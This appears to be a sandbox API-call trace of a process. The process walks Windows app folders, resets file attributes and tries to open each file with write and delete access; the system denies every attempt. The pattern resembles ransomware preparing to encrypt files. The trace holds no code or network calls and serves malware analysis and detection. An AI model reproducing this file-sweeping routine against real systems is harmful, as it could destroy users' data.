	[0091.842] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\images\\en-us\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.842] GetLastError () returned 0x5
	[0091.842] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\windows-main-08294e1b-0ad7-4937-9616-fcbc42ff7ff1.png", dwFileAttributes=0x20) returned 0
	[0091.842] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0091.843] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f98bb1c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="winlogo.png", cAlternateFileName="")) returned 1
	[0091.843] wcscmp (_String1="winlogo.png", _String2=".") returned 1
	[0091.843] wcscmp (_String1="winlogo.png", _String2="..") returned 1
	[0091.843] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32f08
	[0091.843] wcscpy (in: _Dest=0x4e32f08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US"
	[0091.843] wcscat (in: _Dest=0x4e32f08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\"
	[0091.843] wcscat (in: _Dest=0x4e32f08, _Source="winlogo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\winlogo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\winlogo.png"
	[0091.843] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\winlogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\images\\en-us\\winlogo.png")) returned 0x20
	[0091.852] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\winlogo.png", dwFileAttributes=0x20) returned 0
	[0091.852] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\winlogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\images\\en-us\\winlogo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.852] GetLastError () returned 0x5
	[0091.852] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\winlogo.png", dwFileAttributes=0x20) returned 0
	[0091.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32f08) returned 1
	[0091.852] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f98bb1c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="winlogo.png", cAlternateFileName="")) returned 0
	[0091.852] FindClose (in: hFindFile=0x477b328 | out: hFindFile=0x477b328) returned 1
	[0091.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50300a0) returned 1
	[0091.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47180e0) returned 1
	[0091.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718d10) returned 1
	[0091.852] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c39d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0091.852] FindClose (in: hFindFile=0x477afa8 | out: hFindFile=0x477afa8) returned 1
	[0091.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030308) returned 1
	[0091.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2ca20) returned 1
	[0091.852] FindNextFileW (in: hFindFile=0x2d880b8, lpFindFileData=0x47452d0 | out: lpFindFileData=0x47452d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c4278, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mobile", cAlternateFileName="")) returned 1
	[0091.853] wcscmp (_String1="mobile", _String2=".") returned 1
	[0091.853] wcscmp (_String1="mobile", _String2="..") returned 1
	[0091.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c8a0
	[0091.853] wcscpy (in: _Dest=0x4f2c8a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content"
	[0091.853] wcscat (in: _Dest=0x4f2c8a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\"
	[0091.853] wcscat (in: _Dest=0x4f2c8a0, _Source="mobile" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile"
	[0091.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0091.853] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile"
	[0091.853] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\"
	[0091.853] wcscat (in: _Dest=0x4926008, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\*"
	[0091.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50307d8
	[0091.853] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\*", lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c4278, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1e8
	[0091.853] wcscmp (_String1=".", _String2=".") returned 0
	[0091.853] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c4278, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.853] wcscmp (_String1="..", _String2=".") returned 1
	[0091.853] wcscmp (_String1="..", _String2="..") returned 0
	[0091.853] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c4ac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0091.853] wcscmp (_String1="en-GB", _String2=".") returned 1
	[0091.853] wcscmp (_String1="en-GB", _String2="..") returned 1
	[0091.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4719120
	[0091.853] wcscpy (in: _Dest=0x4719120, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile"
	[0091.853] wcscat (in: _Dest=0x4719120, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\"
	[0091.853] wcscat (in: _Dest=0x4719120, _Source="en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB"
	[0091.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47189d0
	[0091.854] wcscpy (in: _Dest=0x47189d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB"
	[0091.854] wcscat (in: _Dest=0x47189d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\"
	[0091.854] wcscat (in: _Dest=0x47189d0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\*"
	[0091.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031178
	[0091.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\*", lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c4ac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b228
	[0091.855] wcscmp (_String1=".", _String2=".") returned 0
	[0091.856] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c4ac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.856] wcscmp (_String1="..", _String2=".") returned 1
	[0091.856] wcscmp (_String1="..", _String2="..") returned 0
	[0091.856] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f98bb1c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_getconnected.xml", cAlternateFileName="")) returned 1
	[0091.856] wcscmp (_String1="doc_offline_getconnected.xml", _String2=".") returned 1
	[0091.856] wcscmp (_String1="doc_offline_getconnected.xml", _String2="..") returned 1
	[0091.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5028008
	[0091.856] wcscpy (in: _Dest=0x5028008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB"
	[0091.856] wcscat (in: _Dest=0x5028008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\"
	[0091.856] wcscat (in: _Dest=0x5028008, _Source="doc_offline_getconnected.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\doc_offline_getconnected.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\doc_offline_getconnected.xml"
	[0091.856] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-gb\\doc_offline_getconnected.xml")) returned 0x20
	[0091.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\doc_offline_getconnected.xml", dwFileAttributes=0x20) returned 0
	[0091.856] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-gb\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.856] GetLastError () returned 0x5
	[0091.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\doc_offline_getconnected.xml", dwFileAttributes=0x20) returned 0
	[0091.856] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028008) returned 1
	[0091.856] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f98bb1c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="toc.xml", cAlternateFileName="")) returned 1
	[0091.856] wcscmp (_String1="toc.xml", _String2=".") returned 1
	[0091.856] wcscmp (_String1="toc.xml", _String2="..") returned 1
	[0091.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477eb90
	[0091.857] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB"
	[0091.857] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\"
	[0091.857] wcscat (in: _Dest=0x477eb90, _Source="toc.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\toc.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\toc.xml"
	[0091.857] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-gb\\toc.xml")) returned 0x20
	[0091.857] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\toc.xml", dwFileAttributes=0x20) returned 0
	[0091.857] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-gb\\toc.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.857] GetLastError () returned 0x5
	[0091.857] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\toc.xml", dwFileAttributes=0x20) returned 0
	[0091.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.857] FindNextFileW (in: hFindFile=0x477b228, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f98bb1c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="toc.xml", cAlternateFileName="")) returned 0
	[0091.857] FindClose (in: hFindFile=0x477b228 | out: hFindFile=0x477b228) returned 1
	[0091.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5031178) returned 1
	[0091.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47189d0) returned 1
	[0091.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719120) returned 1
	[0091.857] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50307d8 | out: lpFindFileData=0x50307d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c5109, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0091.857] wcscmp (_String1="en-US", _String2=".") returned 1
	[0091.857] wcscmp (_String1="en-US", _String2="..") returned 1
	[0091.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4718de0
	[0091.857] wcscpy (in: _Dest=0x4718de0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile"
	[0091.858] wcscat (in: _Dest=0x4718de0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\"
	[0091.858] wcscat (in: _Dest=0x4718de0, _Source="en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US"
	[0091.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4717e70
	[0091.858] wcscpy (in: _Dest=0x4717e70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US"
	[0091.858] wcscat (in: _Dest=0x4717e70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\"
	[0091.858] wcscat (in: _Dest=0x4717e70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\*"
	[0091.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f498
	[0091.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\*", lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c5109, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4a8
	[0091.858] wcscmp (_String1=".", _String2=".") returned 0
